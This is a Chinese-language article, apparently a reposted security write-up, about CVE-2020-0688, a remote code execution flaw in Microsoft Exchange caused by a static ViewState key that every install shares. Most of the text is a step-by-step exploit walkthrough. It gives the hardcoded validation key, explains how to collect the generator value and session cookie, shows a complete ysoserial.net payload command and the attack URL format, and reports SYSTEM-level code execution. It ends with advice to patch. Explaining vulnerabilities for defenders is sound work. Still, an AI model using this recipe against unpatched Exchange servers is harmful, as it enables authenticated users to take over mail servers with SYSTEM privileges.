微軟再暴高危漏洞:通過固定的密鑰在 EXCHANGE上執行遠程代碼

微軟在本週二發佈了新的補丁,該漏洞影響所有的Exchange Server版本,開始,微軟表示此問題 是由內存損壞漏洞引起的,並且可以通過發送包含攻擊的特定郵件加上利用。而後,又修訂此漏洞是由 Exchange Server在安裝時沒有正確創建唯一的加密密鑰導致的。

詳細的來說,此漏洞出在Exchange控制檯中,即所有組件安裝都使用相同的validationKey和 decryptionKey,此配置在文件web.config中,這對密鑰為ViewState提供安全的加解密。ViewState是 ASP.net Web應用程序在客戶端用以序列化存儲服務端數據。客戶端通過 __VIEWSTATE request參數將 此數據提交給服務器。


微軟再暴高危漏洞:通過固定的密鑰在 EXCHANGE上執行遠程代碼


由於使用了固定的密鑰,經過身份驗證的攻擊者可以獲取服務器序列化製作的ViewState數據,借且 YSoSerial.net,可以在服務器上執行遠程代碼。

如果要了解此漏洞,需要收集經過身份驗證的會話中ViewStateUserKey 和的 _VIEWSTATEGENERATOR 值。該 ViewStateUserKey 可從ASP.NET中獲得 SessionID 的cookie,而 ViewStateUserKey`可以在一個 隱藏字段中找到。在瀏覽器中的源代碼可以獲取。

訪問/ecp/default.aspx 頁面並登錄。所使用的帳戶無需具有任何特殊特權。在此示例中,我們使用名為的帳戶 user:


微軟再暴高危漏洞:通過固定的密鑰在 EXCHANGE上執行遠程代碼


需要收集一些信息。有價值的部分是已知的:

<code>validationkey =CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF /<code>
<code>validationalg = SHA1 /<code>

要獲取 ViewStateUserKey 和 __VIEWSTATEGENERATOR ,打開開發工具(F12),然後按 F5重新發送請求。 /ecp/default.aspx 登錄時,我們需要請求的原始響應:


微軟再暴高危漏洞:通過固定的密鑰在 EXCHANGE上執行遠程代碼


該 __VIEWSTATEGENERATOR 值在頁面源中可見。在此示例中,其值為 B97B4E27 。您的價值極有可能是 相同的。接下來,打開 Headers 標籤並在中找到 ASP.NET_SessionId cookie Request headers :


微軟再暴高危漏洞:通過固定的密鑰在 EXCHANGE上執行遠程代碼


在此示例中,其值為 05ae4b41-51e1-4c3a-9241-6b87b169d663 。

現在,我們掌握了進行所需的所有信息: --validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF --validationalg = SHA1 --generator = B97B4E27 --viewstateuserkey = 05ae4b41-51e1-4c3a-9241-6b87b169d663

下一步是使用ysoserial.net生成ViewState有效負載。我們將通過創建文件來生成一個有效負載來演示 代碼的執行 C:\\Vuln_Server.txt :

<code>ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/Vuln_Server.txt" --validationalg="SHA1" -validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" -generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy/<code>


微軟再暴高危漏洞:通過固定的密鑰在 EXCHANGE上執行遠程代碼

最後,我們需要對ViewState有效負載進行URL編碼並按如下所示構造URL:

/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<viewstate>/<generator>

替換生成器和上面獲得的URL編碼的ViewState。

然後,我們只需將結果URL粘貼到瀏覽器地址欄中,即可將其提交給Exchange服務器:


微軟再暴高危漏洞:通過固定的密鑰在 EXCHANGE上執行遠程代碼

服務器返回 500 Unexpected Error ,但是已經成功。檢查對目標服務器的影響:


微軟再暴高危漏洞:通過固定的密鑰在 EXCHANGE上執行遠程代碼


果然,文件 Vuln_Server.txt 現在存在。檢查文件上的所有權信息,確認該文件是由具有SYSTEM權限 的進程創建的。

微軟再暴高危漏洞:通過固定的密鑰在 EXCHANGE上執行遠程代碼


結尾

Microsoft在2020年2月將此漏洞修補為CVE-2020-0688。根據相關的文章,他們通過“更正Microsoft Exchange在安裝過程中創建密鑰的方式”來解決此漏洞。換句話說,他們現在在安裝時將加密密鑰隨機 化。

因此,如果您是Exchange Server管理員,您應該將其視為關鍵級補丁,並在測試完成後立即進行部 署。


分享到:


相關文章: